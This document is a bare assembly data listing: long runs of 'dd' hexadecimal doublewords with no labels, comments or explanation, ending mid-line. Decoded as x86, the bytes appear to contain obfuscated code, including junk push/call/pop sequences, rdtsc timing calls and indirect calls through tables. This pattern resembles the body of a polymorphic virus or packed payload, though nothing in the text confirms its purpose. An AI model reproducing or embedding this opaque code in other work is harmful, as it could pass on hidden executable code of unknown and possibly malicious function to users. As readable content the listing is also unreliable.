47000000h, 6670C357h, 0B70FF98Bh dd 0B8D8h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8983E5C3h, 132A358Dh, 8D8D8D06h dd 8A06134Fh, 6AE1FFDEh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0CD6EC350h, 0D11143DFh dd 0D781206Ah, 647F8FFCh, 3055BD83h, 0F000613h, 3BA84h dd 7CEF8000h, 3055BD83h, 0F010613h, 3C584h, 83FA8B00h dd 133055BDh, 860F0306h, 380h, 1B318589h, 0E9600613h, 12h dd 1A3BC6Fh, 0F42AAAFBh, 0E0C0341Ah, 47351328h, 9589B124h dd 6133075h, 51D98C66h, 1BCDBD8Bh, 665F0613h, 44F8CF81h dd 904E180h, 131FD19Dh, 0FC90A06h, 0E684h, 0BE666000h dd 0BD898BE8h, 6132C75h, 0B9858B61h, 6A06132Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0A317C353h, 396DE772h, 0A195894Bh, 33061308h, 1305B985h dd 0F8BF0F06h, 91B75350h, 2404895Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 4AC35040h, 2BE5D049h, 131AF99Dh dd 0E9006A06h, 0Fh, 871D517h, 408FCD9Eh, 3E03A5A3h, 68E9EAF3h dd 9ACD55C4h, 81FE8B66h, 0AE3B2404h, 800F6551h, 6, 159589h dd 95FF0613h, 6130A3Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 22C35141h, 94F822B5h, 0FC8C4CF5h, 23799D2Bh dd 85890613h, 616C454h, 2B008CBFh, 1EBE96Ah, 0D88B0000h dd 8BF9C380h, 16C44C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 9F26BD7Dh, 0FAEE3C0Dh dd 14E9BAA0h, 6B000000h, 6A58D680h, 33C63771h, 0FC164247h dd 0EEEA863h, 0E91870E3h, 5, 0EF8CCD1Dh, 1800C792h, 0F000000h dd 28Ah, 8BD98B00h, 16C450B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 8BCA62Ah, 85BD8B63h dd 8B061330h, 132A5585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BD0B2D1Bh, 6131CC9h dd 0AE80689h, 4F000000h, 0F83AB423h, 98767DFCh, 3840FA5h dd 80000000h, 665FA5DBh, 0C961EF81h, 2BB9858Bh, 0BD8B0613h dd 6131FB1h, 6A044689h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 9317C357h, 8119BEA8h dd 9D6306CFh, 7EB39658h, 6A9650h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0CC9714C3h, 85374640h dd 6C99D0Bh, 0B5FF0613h, 616C44Ch, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0F7C35545h, 50AA59DEh, 0E439BC6Dh dd 0AE8F585h, 4E000000h, 0CCC2327h, 0C4FC91B2h, 5F5B56CAh dd 144A8C68h, 0AE87Ah, 603B0000h, 0C5C3B4CAh, 5A14893Fh dd 8E9h, 0F87DB600h, 2E9A4179h, 34815F62h, 0B497324h, 54858D7Ah dd 890616C4h, 1313AD85h, 0D19D8B06h, 90061325h, 0D98B5250h dd 5250310Fh, 8B66310Fh, 5A585AD9h, 60605058h, 310F5250h dd 5250585Ah, 585A310Fh, 61605361h, 8B906159h, 130BAD9Dh dd 3D95FF06h, 8B06130Ah, 1305359Dh, 6A6106h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 562865C3h dd 1F359D89h, 0C75B0613h, 13305585h, 306h, 0F5B58900h dd 8306131Dh, 16C454BDh, 840F0006h, 2Ch, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 3BC35747h, 5E9h dd 0CCF69B00h, 1CE9C411h, 0FC000000h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 6990C356h, 895F7102h, 8B8D6074h, 59D8BFAh, 6A061317h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 76E3C350h, 0F94CB1F6h, 3055BD83h, 0F030613h dd 50C85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 9412FB49h, 8B6646A7h, 959529F8h dd 83061305h, 16C454BDh, 840F0006h, 4D5h, 10E9h, 360A3800h dd 0F761A067h, 8BE18A6Ch, 0AC95237Eh, 54B5FF0Bh, 6A0616C4h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 6F88C353h, 0B3565981h, 8D295F18h, 6130919h dd 96995FFh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 6A7C10C3h, 0D8ADA52Dh, 1C099D8Bh dd 85090613h, 6130A01h, 0C448B58Bh, 6A0616h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CDA2CBC3h dd 9A6D4E6Bh, 8E0FB9C2h, 6, 1B1DBD89h, 6C70613h, 10001h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 81C35646h dd 0D18589B7h, 96061325h, 50D88B66h, 51006A96h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 7A66F9C4h dd 9379BA39h, 0E6CABB66h, 0B5FF6DB3h, 616C454h, 3CEEBB66h dd 322995FFh, 89560613h, 13151985h, 0B58B5F06h, 616C448h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C1C35141h dd 5D859856h, 0C1E0AF59h, 1E819589h, 858B0613h, 6130631h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 42C35242h dd 0CB81D2FFh, 4EA2497Eh, 8689DA8Bh, 0C4h, 8BF8BF0Fh, 131BBD95h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BCB06F5h, 133489BDh, 4C28306h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 24C35545h, 0C427192Ch dd 8E0F7C97h, 6, 5FBB6651h, 50895BD9h, 52006A20h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 35BD2B2Eh, 8D061309h, 16D8E385h, 0EDBD2306h, 81061322h dd 0EF6FDFEFh, 0B8868946h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0AB32C356h dd 0FCC85E22h, 1D199D8Bh, 6A0613h, 0D19EEF81h, 0B5FF425Eh dd 616C454h, 0FFDF8B66h, 131E9595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 5D1E76BBh dd 0CE8060A4h, 0E585890Eh, 61061320h, 12880F96h, 0E8000000h dd 6, 9C24848Fh, 5250A9F2h, 585A310Fh, 0BF66505Fh, 6A964B4Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 1C4BC350h, 0FDA8B66h, 198Ah, 14E900h, 756E0000h dd 7426501Dh, 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh dd 616C454h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 0CFC35646h, 0FAEF8166h, 4595FF70h, 6A061321h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 9323C356h, 28002694h, 13E9B3h, 0C87C0000h, 6CBF646Dh dd 0D6647E92h, 97541B94h, 7F298F0Ch, 95BD8322h, 61314h dd 47840Fh, 0BD8B0000h, 6132201h, 57525096h, 70A8BB66h dd 5A310F5Fh, 6A965058h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 6ECCC351h, 101E5394h dd 2923B216h, 8E9h, 4949B500h, 1D8EE255h, 54B5FF7Bh, 6A0616C4h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 3A3BC352h, 553C4225h, 5E972C7h, 0E2000000h dd 0FE84194Bh, 5AD95FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0FABCD8C3h, 0ADBD8B46h dd 0FF061311h, 16C454B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 1D4EDB00h dd 0EE3279BBh, 860F10D0h, 6, 11E58531h, 95FF0613h, 6131209h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 57C35141h dd 1DD9D0Bh, 0BD830613h, 6130511h, 44840F02h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 56E3C350h, 8D9FBB7Ah, 8F0F1CB4h, 6, 15018509h dd 858B0613h, 6130F55h, 0DA66CB81h, 0C65BE2h, 41BD8B00h dd 0C7061321h, 131E5185h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66B679h dd 0F314E9DAh, 8589FFFFh, 6130F01h, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5BB830C3h dd 24273911h, 0FE84C11h, 41000000h, 0A0D377F5h, 7E39C65Dh dd 6EC042C1h, 8B66A000h, 858D5BDEh, 6131EA9h, 66902EB3h dd 501CDEBBh, 5820F52h, 0BF000000h, 18F06F17h, 6A905Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h dd 6E3C8DC3h, 8166F88Bh, 6ABD33C3h, 0A5BF6600h, 66006A7Fh dd 858DFE8Bh, 6175239h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0D1C35646h, 0A6A1E670h, 2EFE1E39h, 85BD8B3Eh dd 8306130Eh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 2DDADC3h, 0B1DC605Dh, 8E9h, 0B5427400h dd 0E4BF2C42h, 48950F3h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 46A6A4FDh, 6A006A4Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0A782C355h, 6A6814h, 8ABCBB66h, 87C78166h dd 0F195FF19h, 6A061307h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 9D41C352h, 9E127515h dd 8B718157h, 1324859Dh, 6A8D8D06h, 6A0616A3h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0E2F2C352h, 60A34D55h, 0D1FF2BE2h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 56C35141h, 0CEC78144h, 83450363h dd 13173DBDh, 850F0106h, 73h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 87C35343h, 0A03CBF34h, 26A7D6Ch dd 5BF98B53h, 66525050h, 0F25E9BFh, 0DF8B6631h, 489585Ah dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0BD1E565Fh, 898A12C9h, 131A0D85h, 33E38106h dd 606EDD37h, 61F7B70Fh, 1E9595FFh, 0E9FC0613h, 0D6Eh dd 0E8h, 0ED815D00h, 6175243h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 15h, 7CC35141h, 8DBD8B6Fh, 6A06132Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 25E5C355h, 982FF8A3h, 0C07830F4h, 0FE860h dd 75190000h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h, 0F5FF559h dd 8D61FFBFh, 168F5E85h, 8B0F6006h, 6, 34D5BD2Bh, 820F0613h dd 1, 0F5061F5h, 1983h, 13E800h, 9BD0000h, 0BEBB3CE8h dd 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 4895BD8h, 9D9D2324h dd 64061325h, 35FFh, 81520000h, 39E733F7h, 11E85B4Ch, 47000000h dd 9AC935B5h, 29B83E26h, 41457F82h, 0CA2C5F2Eh, 18F1B589h dd 645B0613h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0EF1DDAC3h, 0B4B3B77Dh dd 0D985FF0Ah, 6A061316h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 8E7BC352h, 9D8BAAD4h dd 6132841h, 0AF0FBB66h, 0B70FFF6Ah, 95B5FFF9h, 0BB06131Ah dd 7B4C2B5Fh, 31AD95FFh, 24E90613h, 0F9000001h, 5AB700B0h dd 800F70E6h, 18h, 13E9h, 2F268D00h, 0F6FBAD06h, 0B8617B6Ch dd 0CDEC3E72h, 0D8A7085h, 0C38071E4h, 0F613C10h, 0F283h dd 0AE900h, 0EADD0000h, 20BDFF13h, 257954D5h, 52C8B60Fh dd 69E76BBBh, 6BA5F2Ah, 66000000h, 0BD8BFB8Bh, 6131689h dd 0BABBC18Bh, 0C11B8E28h, 8E904E8h, 97000000h, 496705B5h dd 66F3A68Bh, 860FE2F7h, 6, 2D0D9D2Bh, 0BF0F0613h, 0B7C82BF9h dd 66D18BE0h, 0DF80D88Bh, 6E932h, 9D8B0000h, 613054Dh dd 1095858Bh, 83F50613h, 0DF8107C0h, 776A09CAh, 3B00C083h dd 0F830FD0h, 66000000h, 0E9CEFCBBh, 67h, 8747BFF9h, 8D8B1526h dd 6131461h, 8D0F5B50h dd 16h, 0CE8h, 16051A00h, 0EF93AC5Dh, 0ED1DA093h, 29BF6698h dd 0E1835F4Dh, 34840F01h, 51000000h, 5E19529h, 835F0613h dd 131461A5h, 9D0BFE06h, 6131675h, 10959589h, 880F0613h dd 0Eh, 0E99D8B60h, 0F061330h, 8Fh, 0E96100h, 8D000000h dd 16E639B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 1F769AB9h, 2369BD29h, 6A0613h, 6850Fh dd 9D8B0000h, 6132D29h, 0DA995FFh, 6A0613h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 77B5B9C3h dd 0D381FA13h, 4B34AFE9h, 0DBEB9h, 0A99D8B00h, 83061311h dd 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0D20EEFC3h, 0D527205Fh, 6AFCFA8Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 4675C353h, 0CD39C7D2h, 0C02BC270h, 0EE9h, 7F5FB700h dd 0D099CD58h, 0CDCDC4D5h, 0BA2C2E3Ch, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 80C35040h dd 92C7B509h, 5E9B137h, 11000000h, 0B1A1EBA0h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0EEC35545h, 0D7B8ECDBh, 0AE839h, 2FF40000h dd 863B23E4h, 5F6EB957h, 11BD9D2Bh, 895F0613h, 1328DDBDh dd 0DDF8B06h, 88h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 0D0C35141h, 23395576h, 40DD8B7Eh, 8BF98B66h dd 131BBD95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0A671CB0Bh, 0DB8195C9h, 73AD2E4Dh dd 18DD8D8Bh, 850F0613h, 3, 50DF8B66h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 6E958h, 0A1730000h, 0A09DDAA9h dd 13E9h, 0AA76BF00h, 0E2A1CA07h, 35FA25E2h, 825E818h dd 4610EE72h, 3840Fh, 0BF0F0000h, 1DBD83D8h, 6131Dh, 6D840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0A365C2C3h, 3DD254B8h, 21399D89h, 0B80613h dd 0E9000000h, 5, 0D39078E0h, 8D8D8DEBh, 8B06134Fh, 1301399Dh dd 6AE1FF06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 854CC357h, 702E9899h, 61BD897Dh dd 8306130Bh, 133055BDh, 840F0006h, 439h, 83FAB70Fh, 133055BDh dd 840F0106h, 444h, 0A7DBD8Bh, 0BD830613h, 6133055h, 0FB860F03h dd 81000003h, 8F262E3h, 6A6053h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F95461C3h, 6AD98C66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 2EFBC357h, 87ABFDF1h, 8B661893h, 199D33FBh dd 8006131Ch, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0AF4F71C3h, 5AF05386h, 0B4BF76DFh dd 0A7018A8h, 15840FC9h, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 11A7C353h dd 29EAB36Dh, 0C099D8Bh, 0F1B30613h, 2BB9858Bh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 246ABDC3h, 0B98533AAh, 6A061305h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFC5C353h dd 53230266h, 0D88B6650h, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 4FA9C351h dd 0FC006AD7h, 48F93268h, 909ABF3Ah, 34813534h, 57FACD24h dd 5BD8B3Ah, 66061324h, 0AA43CB81h, 0A3D95FFh, 85890613h dd 616C454h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0E2C35545h, 0BD8B805Dh, 61306FDh, 21FE9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 624A14B9h, 915A3A2Eh, 122ABB66h, 0C44C858Bh, 9D0B0616h dd 61324ADh, 1800C7h, 870F0000h, 0Ch, 6800Fh, 0B5090000h dd 613282Dh, 0C450B58Bh, 0BD310616h, 6133085h, 2A55858Bh dd 6890613h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0CEC35747h, 71BCE59Ah, 8BDD5EF1h, 132BB985h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E862D6CAh, 0Fh, 0E31BA175h, 274AA3EFh, 190CC9BFh, 31055847h dd 1309898Dh, 46895F06h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 99D49363h, 8D895BE9h dd 6131D59h, 0EE9h, 0C4E2FB00h, 0E004FD60h, 0C53ADBCCh dd 96B95100h, 0BE857h, 73310000h, 8FC55391h, 0FEE006C8h dd 12E978h, 0CB300000h, 6D6FA4A4h, 428362F1h, 0E3328CFAh dd 42B54274h, 0BB505B5Fh, 433D6549h, 51006A96h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0B70FEF43h dd 4CB5FFDEh, 6A0616C4h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 10CDC352h, 1BABB1AFh dd 0E8C5923Dh, 46AEBF66h, 0E143C968h, 815F522Bh, 40362434h dd 6A2BFEh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0D69403C3h, 35FB5A44h, 8915393Fh, 1309E5B5h dd 54858D06h, 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 97FDC357h, 65AB2B3Fh dd 10599D89h, 57500613h, 57296FBBh, 4895F68h, 0EDBD8B24h dd 0FF06130Bh, 130A3D95h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BF0FD8CDh dd 0CCE780DFh, 0E19D8B61h, 0C7061315h, 13305585h, 306h dd 8B0F00h, 60000000h, 0BD8361F9h, 616C454h, 3F840F00h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0FBA1C353h, 0DD25170Ah, 0E12A390Ah dd 0CEBAB8BFh, 0BE666055h, 57B98ADDh, 6114D2B4h, 20E9h dd 0D446BF00h, 305045E7h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 0EE9C0h, 34AD0000h, 7D47248Dh dd 9FED1A9Fh, 43209B4Ah, 73C38166h, 55BD8375h, 3061330h dd 3B5850Fh, 9D010000h, 6132425h, 5F9FB351h, 0C454BD83h dd 0F000616h, 39E84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 9C7326D9h, 4529B533h dd 54B5FF4Bh, 6A0616C4h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 2740C351h, 836E95B5h dd 5F52F7EEh, 6995FFF8h, 8B061309h, 1321A9BDh, 48B58B06h dd 0F0616C4h, 6C7D9BFh, 10001h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0CCC35242h, 0CA311FD1h, 0EF805AABh dd 0D88B96ECh, 0FE850h, 6E620000h, 0A310B152h, 0E6733075h dd 18FCA532h, 0F98B6609h, 6A965Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 275809C3h, 90C004DDh dd 0FFE35F8Bh, 16C454B5h, 0FB8B6606h, 2995FFFCh, 0F061332h dd 0B58BFABFh, 616C448h, 6C9ABF66h, 321D9D8Bh, 858B0613h dd 6130631h, 5F5BD8Bh, 86890613h, 0C4h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 14h, 73C35747h, 0E658D89h dd 958B0613h, 6131BBDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0EDC35747h, 958D37DEh, 0EF816676h, 0C2834413h dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0C3240901h, 2D0E5075h, 66205089h, 8DA434BFh dd 16D8E385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0EB9E7E6Ch, 16154457h, 59CF781h dd 0BD893038h, 6132475h, 0B88689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4DCEC3h dd 6A6840h, 0FFD8B70Fh, 16C454B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0E76D5D31h dd 2729BBAEh, 816676B0h, 0FFA7D9EBh, 131E9595h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0FA269E53h, 964E1FA8h, 4FD23EBFh, 0B8605031h, 1A236D44h dd 395BA66h, 10E99661h, 0C8000000h, 18F9AE72h, 0C6D21F5Ch dd 1A81BEE0h, 0FF0E743Fh, 16C454B5h, 0FFDA8B06h, 13214595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0FFC8AE73h, 0F8B70F18h, 83EBC380h, 131495BDh dd 840F0006h, 67h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 0CC35141h, 89368411h, 130B4D95h, 8A0F9606h dd 0Ah, 0F525060h, 53585A31h, 6650615Bh, 6A96FA8Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0E616C355h, 95DDFEBFh, 2906A1C6h, 130D498Dh, 0FFDF8B06h dd 16C454B5h, 6820F06h, 89000000h, 13135995h, 0AD95FF06h dd 6A061305h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0CDF5C357h, 0B70F45B3h, 54B5FFDEh dd 890616C4h, 13150195h, 995FF06h, 66061312h, 835626BBh dd 130511BDh, 840F0206h, 23h, 3045BD8Bh, 858B0613h, 6130F55h dd 11158D09h, 0C60613h, 0B5896000h, 6133485h, 23698D8Bh dd 0C7610613h, 131E5185h, 6, 48A0F00h, 50000000h, 0E95FFE8Ah dd 0FFFFF3F8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0F9C35747h, 80A2C494h, 0A8222A7h, 0BBC18BF9h, 6DDEBCC4h dd 858DFA8Bh, 6131EA9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0DAC35646h, 24048950h, 6AD88Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EFC35242h, 0C1A67907h dd 0F460C5DAh, 0C113BB58h, 816642D4h, 6ADFB8F7h, 90858D00h dd 0E9061761h, 0Dh, 52CBD6C5h, 0CA55E1ECh, 0B797E517h dd 0E5C781EDh, 832D7539h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 8B4DF9C3h, 131081BDh dd 0BB665006h, 489F57Bh, 859D8B24h, 6A061313h, 10E900h dd 0C72B0000h, 606A9178h, 70B66C63h, 16A764D5h, 6A28CFh dd 8BFB8B66h, 1309EDBDh, 0F195FF06h, 6A061307h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 57E2C355h, 0F26B7F5h, 68Fh, 9D9D0100h, 8D06130Eh, 16A36A8Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F7B282BAh, 0FF423107h, 0C800FD1h, 0F000000h dd 689h, 0E99D8B00h, 8A061331h, 3DBD83DEh, 1061317h, 98850Fh dd 81660000h, 6AE983DBh, 51006A02h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 3B77ED22h, 8942253Ah dd 133521B5h, 9B58906h, 9006130Fh, 6E9h, 917CAD00h, 50662F06h dd 1509BF66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0A69A49C4h, 61F8D5ECh, 3E0993BBh dd 9595FF18h, 6A06131Eh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 1C23C351h, 20D18D29h dd 49E90613h, 0E800000Eh, 0 dd 9AED815Dh, 6A061761h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 9C4DC350h, 51BD8BC5h dd 6A061328h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0BCEEC352h, 0ED1942B0h, 0BDE8BDCh dd 1309B5BDh, 5E858D06h, 6A06168Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2665C356h dd 0C1EC32B7h, 0CB8CE920h, 8B575190h, 505B5BD9h, 0EBF6690h dd 35FF6424h, 0 dd 16C59D89h, 89640613h, 25h, 0E98D0900h, 0FF061306h, 1316D985h dd 6AF98B06h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0F2262692h, 29BD973Bh, 131CB99Dh dd 31B5FF06h, 6A061328h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 29D0C355h, 0FCF7712Ah dd 0BD891A72h, 61329A1h, 31AD95FFh, 30E90613h, 31000001h dd 13109DBDh, 2300B006h, 1317119Dh, 8070E606h, 71E456F7h dd 0CE853h, 6BE40000h, 0C53638C7h, 4396E534h, 8D29333Eh dd 6132B89h, 613C5B5Bh, 0F9830Fh, 9D8B0000h, 6130015h dd 60C8B60Fh, 0B5507EBBh, 0ADBD8B45h, 6106131Dh, 6BAh dd 5B52900h, 0E8061312h, 14h, 0A8C02CDDh, 553DC445h, 0DAB13CBEh dd 70AC4C15h, 8BBC174Bh, 209DBD8Bh, 8B5B0613h, 598589C1h dd 0C106130Fh, 0C38104E8h, 1F884C28h, 89E2F766h, 1305C9BDh dd 66C82B06h, 55BDDF81h, 6E9D18Bh, 6D000000h, 890B0153h dd 0E928h, 858B0000h, 613189Dh, 521F9DBBh, 7C08367h, 1BEFBB66h dd 19850Fh, 11E80000h, 6E000000h, 76BCF434h, 6F68EB99h dd 2E8C36E1h, 42BB70BCh, 835BF98Bh, 0DE8B00C0h, 830FD03Bh dd 14h, 41E9F9h, 0BD8B0000h, 6131E15h, 419D8B51h, 5F061300h dd 9CD8D8Bh, 0FA8B0613h, 0F01E183h, 2284h, 0D1952900h dd 83061322h, 1309CDA5h, 0BF66FE06h, 95890E90h, 613189Dh dd 1F159501h, 0E90613h, 8D000000h, 16F5D4B5h, 50006A06h dd 